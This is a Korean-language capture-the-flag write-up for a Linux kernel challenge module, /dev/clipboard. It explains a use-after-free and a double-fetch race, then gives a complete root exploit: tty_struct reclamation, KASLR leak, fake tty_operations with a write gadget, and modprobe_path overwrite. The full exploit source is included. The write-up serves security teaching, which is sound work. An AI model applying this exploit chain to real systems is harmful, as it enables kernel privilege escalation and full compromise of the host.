clipboard

취약점 분석

1. 전역 clipboard_data의 잘못된 수명 관리로 인한 Use-After-Free

clipboard_open()0x400바이트 버퍼를 할당한 뒤 파일별 데이터가 아닌 전역 변수 clipboard_data에 저장한다. 여러 번 장치를 열면 이전 포인터가 유실되고 전역 포인터가 마지막으로 할당한 버퍼를 가리키게 된다.

clipboard_release()도 닫히는 파일과 버퍼의 관계를 확인하지 않고 현재 전역 포인터를 해제한다. 해제 후 포인터를 NULL로 초기화하지도 않는다.

char *clipboard_data;
 
int clipboard_open(struct inode *inode, struct file *file) {
    clipboard_data = kmalloc(MAX_DATA_LEN, GFP_KERNEL);
    if (!clipboard_data) {
        printk(KERN_ERR "Clipboard: kmalloc error\n");
        return -1;
    }
    memset(clipboard_data, 0, MAX_DATA_LEN);
    return 0;
}
 
int clipboard_release(struct inode *inode, struct file *file) {
    kfree(clipboard_data);
    return 0;
}

다음 순서로 다른 fd가 계속 접근할 수 있는 dangling pointer를 만들 수 있다.

fd1 = open("/dev/clipboard", O_RDWR);  // clipboard_data = A
fd2 = open("/dev/clipboard", O_RDWR);  // clipboard_data = B, A는 누수
close(fd2);                            // B 해제, fd1은 계속 사용 가능

이후 fd1으로 ioctl()을 호출하면 해제된 B를 계속 읽고 쓸 수 있다. clipboard_data는 일반 kmalloc-1k 캐시의 객체다. 같은 캐시를 사용하는 tty_struct를 B에 재할당하면 커널 포인터 유출과 함수 포인터 변조가 가능하다.

clipboard_mutexclipboard_ioctl() 내부만 직렬화한다. open()release()의 전역 포인터 수명은 보호하지 않으므로 이 UAF를 막지 못한다.

2. length를 두 번 읽어서 발생하는 TOCTOU

읽기와 쓰기 요청은 check_*_query()에서 사용자 메모리의 length를 읽어 0x400 이하인지 검사한다. 실제 복사를 담당하는 함수는 같은 사용자 메모리에서 length를 다시 읽는다.

int check_write_query(Query *query) {
    unsigned short q_length;
 
    if (copy_from_user(&q_length, &query->length,
                       sizeof(unsigned short))) {
        return 0;
    }
 
    /* pid 검사 생략 */
    return q_length <= MAX_DATA_LEN && q_pid == c_pid;
}
 
int write_clipboard_data(Query *query) {
    unsigned short q_length, i;
 
    if (copy_from_user(&q_length, &query->length,
                       sizeof(unsigned short))) {
        return 0;
    }
 
    for (i = 0; i < q_length; i++) {
        if (copy_from_user(&clipboard_data[i], &query->data[i], 1)) {
            return i;
        }
    }
    return q_length;
}

다른 사용자 스레드가 검사 시점에는 length <= 0x400을 제공하고, 실제 복사 직전에는 값을 최대 0xffff로 변경할 수 있다. 이 double-fetch로 clipboard_data 바깥의 커널 힙을 OOB read/write 할 수 있다. 읽기 경로에도 같은 문제가 있다. 제공된 환경에서 unprivileged userfaultfd가 활성화된 것도 이 경쟁 상태를 안정화하는 데 사용할 수 있다.

최종 익스플로잇은 이 취약점 대신 첫 번째 UAF만 사용한다.

Exploit 과정

Step 1: 전역 포인터 UAF 생성

/dev/clipboard를 두 번 열면 두 번째 할당이 전역 포인터를 덮는다. 두 번째 fd를 닫아 현재 버퍼를 해제하고 첫 번째 fd를 남긴다.

int fd1 = open("/dev/clipboard", O_RDWR);
int fd2 = open("/dev/clipboard", O_RDWR);
close(fd2);

하나만 열고 닫으면 이후 사용할 유효한 clipboard fd가 없어진다. 두 개를 열면 하나를 닫아 버퍼를 해제한 뒤에도 다른 fd의 ioctl()로 dangling pointer에 접근할 수 있다.

Step 2: tty_struct 재할당 및 KASLR·힙 주소 유출

clipboard_datakmalloc(0x400, GFP_KERNEL)로 할당되어 일반 kmalloc-1k 캐시에 들어간다. 이 커널의 tty_struct 크기는 0x2b8이며 마찬가지로 일반 kmalloc-1k 캐시에서 할당된다.

UAF 객체를 해제한 직후 /dev/ptmx를 열어 해당 자리를 tty_struct로 재사용한다.

int ptmx = open("/dev/ptmx", O_RDWR);
 
struct req req = {0};
req.pid = getpid();
req.length = 0x400;
ioctl(fd1, 0x4000, &req);

tty_struct + 0x18에는 ptm_unix98_ops가 저장된다. 정적 오프셋 0x10a9d00을 빼면 KASLR이 적용된 커널 베이스를 구할 수 있다.

tty_struct + 0x38에는 빈 내부 리스트의 self-pointer가 저장되어 있다. 값이 tty_struct 주소 + 0x38이므로 0x38을 빼면 재할당된 객체 자체의 힙 주소를 구할 수 있다.

uint64_t kbase = *(uint64_t *)(buf + 0x18) - 0x10a9d00;
uint64_t tty_addr = *(uint64_t *)(buf + 0x38) - 0x38;
uint64_t modprobe_path = kbase + 0x1666880;

Step 3: 가짜 tty_operations 구성

유출한 tty_struct 전체를 보존한 상태에서 ops 포인터만 객체 내부의 +0x300으로 변경한다. 실제 tty_struct 크기는 0x2b8이므로 0x400 슬롯의 남는 영역을 가짜 함수 테이블로 사용할 수 있다.

이 커널에서 tty_operations.ioctl의 오프셋은 0x60이다. 해당 위치에 다음 쓰기 gadget을 배치한다.

mov qword ptr [rdx + 0x10], rsi
ret

gadget은 커널 베이스 기준 0x5c97ca에 있다.

uint64_t write_gadget = kbase + 0x5c97ca;
 
*(uint64_t *)(buf + 0x18) = tty_addr + 0x300;
*(uint64_t *)(buf + 0x300 + 0x60) = write_gadget;
 
memcpy(req.data, buf, 0x400);
ioctl(fd1, 0x4001, &req);

Step 4: modprobe_path 덮어쓰기

ioctl(ptmx, cmd, arg)가 가짜 tty_operations.ioctl을 호출할 때 주요 인자는 다음과 같이 전달된다.

rsi = cmd
rdx = arg

gadget이 [rdx + 0x10]rsi를 저장하므로 argtarget - 0x10을 전달하면 원하는 주소를 덮을 수 있다.

커널의 ioctl command는 unsigned int이므로 한 번에 제어할 수 있는 데이터는 4바이트다. "/tmp/ex\0""/tmp""/ex\0" 두 청크로 나눠 순서대로 기록한다. gadget은 qword를 쓰므로 낮은 주소의 청크부터 기록해야 두 번째 쓰기가 최종 문자열을 완성한다.

char *new_modprobe_path = "/tmp/ex\0";
 
ioctl(ptmx,
      (uint64_t)*(uint32_t *)new_modprobe_path,
      modprobe_path - 0x10);
 
ioctl(ptmx,
      (uint64_t)*(uint32_t *)(new_modprobe_path + 4),
      modprobe_path + 4 - 0x10);

Step 5: modprobe_path 트리거 및 플래그 획득

루트 권한으로 실행될 /tmp/ex/flag의 권한을 변경한다. 알 수 없는 바이너리 형식의 /tmp/dummy를 실행해 request_module()을 유발하면 커널이 변조된 modprobe_path/tmp/ex를 root 권한으로 실행한다.

system("echo -ne '#!/bin/sh\nchmod 777 /flag\n' > /tmp/ex");
system("chmod +x /tmp/ex");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");
 
system("/tmp/dummy");
system("cat /flag");

Exploit Code

#define _GNU_SOURCE
 
// #include "util/bpf.h"
#include "util/general.h"
#include "util/io_helpers.h"
#include <fcntl.h>
#include <stdint.h>
#include <sys/ioctl.h>
 
struct req {
  uint32_t pid;
  uint16_t length;
  char data[0x400];
};
 
int main() {
  important("happy hacking!");
 
  int fd1 = open("/dev/clipboard", O_RDWR);
  int fd2 = open("/dev/clipboard", O_RDWR);
  if (!fd1 || !fd2) {
    error("failed to open /dev/clipboard");
    return 1;
  }
  info("opened /dev/clipboard: fd1=%d, fd2=%d", fd1, fd2);
 
  close(fd2);
 
  // open /dev/ptmx at fd2 address
  int ptmx = open("/dev/ptmx", O_RDWR);
  if (ptmx < 0) {
    error("failed to open /dev/ptmx");
  }
  info("opened /dev/pmtx: fd=%d", ptmx);
 
  // leak tty_struct
  struct req req = {0};
  req.pid = getpid();
  req.length = 0x400;
  ioctl(fd1, 0x4000, &req);
 
  char buf[0x400] = {0};
  memcpy(buf, req.data, 0x400);
 
  hexdump(buf, 0x400);
 
  uint64_t kbase = *(uint64_t *)(buf + 0x18) - 0x10a9d00;
  uint64_t kheap = *(uint64_t *)(buf + 0x38) - 0x38;
  uint64_t modprobe_path = kbase + 0x1666880;
  info("kbase: 0x%lx", kbase);
  info("kheap: 0x%lx", kheap);
  info("modprobe_path: 0x%lx", modprobe_path);
 
  uint64_t mov_qword_ptr_rdx_rsi_ret =
      kbase + 0x5c97ca; // mov qword ptr [rdx + 0x10], rsi ; ret
 
  // overwrite tty_struct
  *(uint64_t *)(buf + 0x18) = kheap + 0x300;
  *(uint64_t *)(buf + 0x300 + 0x60) = mov_qword_ptr_rdx_rsi_ret;
 
  memcpy(req.data, buf, 0x400);
  ioctl(fd1, 0x4001, &req);
 
  // set up modprobe_path overwrite
  system("echo -ne '#!/bin/sh\nchmod 777 /flag\n' > /tmp/ex");
  system("chmod +x /tmp/ex");
  system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
  system("chmod +x /tmp/dummy");
 
  // modprobe_path overwrite
  char *new_modprobe_path = "/tmp/ex\0";
  ioctl(ptmx, (uint64_t)*(uint32_t *)new_modprobe_path, modprobe_path - 0x10);
  ioctl(ptmx, (uint64_t)*(uint32_t *)(new_modprobe_path + 4),
        modprobe_path - 0x10 + 4);
 
  // trigger modprobe_path
  system("/tmp/dummy");
  system("cat /flag");
  return 0;
}